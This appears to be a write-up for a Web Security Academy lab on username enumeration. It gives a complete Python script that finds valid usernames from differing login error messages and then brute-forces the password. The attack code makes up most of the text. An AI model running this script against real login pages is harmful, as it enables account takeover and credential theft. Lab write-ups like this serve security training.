1. Username enumeration via different responses

We’re asked to brute-force attack this website. The login page provides different responses based on whether or not a valid or invalid username or password is provided. We first use a wordlist of usernames against the /login page, checking for the string “Invalid password” in the HTML response. Once we’ve discovered the username, we brute-force the username with a wordlist of passwords until the “Invalid password” string is no longer present in the HTML response.

Solution:

# usage:
# python3 1.py \
# --u https://0aaa00a7037819be80f76c960063008a.web-security-academy.net \
 
import re
from argparse import ArgumentParser
 
import requests
 
 
class Solution:
    def __init__(self, url: str, wordlist: str, passwordlist: str) -> None:
        self.url = url
        self.wordlist = wordlist
        self.passwordlist = passwordlist
 
    def login(self, username: str, password: str) -> requests.Response:
        s = requests.Session()
        login_url = f"{self.url}/login"
        r = s.post(
            login_url,
            data={
                "username": username,
                "password": password,
            },
        )
 
        return r
 
    def solve(self) -> None:
        r = self.login("invalid", "invalid")
        invalid_string = re.findall(r"is-warning>([\w]+\ [\w]+)", r.text)[0]
 
        with open(self.wordlist, "r") as f:
            usernames = f.readlines()
 
        with open(self.passwordlist, "r") as f:
            passwords = f.readlines()
 
        i = 0
        good_string = invalid_string
        while good_string == invalid_string and i < len(usernames):
            print(f"Trying username: {usernames[i].strip()}")
            r = self.login(usernames[i].strip(), passwords[0])
            good_string = re.findall(r"is-warning>([\w]+\ [\w]+)", r.text)[0]
            i += 1
 
        j = 0
        username = usernames[i - 1].strip()
        print(f"Username found: {username}")
        while j < len(passwords):
            print(f"Trying password: {passwords[j].strip()}")
            r = self.login(username, passwords[j].strip())
            canary = re.findall(r"is-warning>([\w]+\ [\w]+)", r.text)
            if not canary:
                break
            j += 1
 
        print(f"Credentials found: {username}:{passwords[j].strip()}")
 
 
def main():
    parser = ArgumentParser()
    parser.add_argument("--u", "--url", dest="url")
    parser.add_argument("--w", "--wordlist", dest="wordlist")
    parser.add_argument("--p", "--passwordlist", dest="passwordlist")
    args = parser.parse_args()
    s = Solution(args.url, args.wordlist, args.passwordlist)
    s.solve()
 
 
if __name__ == "__main__":
    main()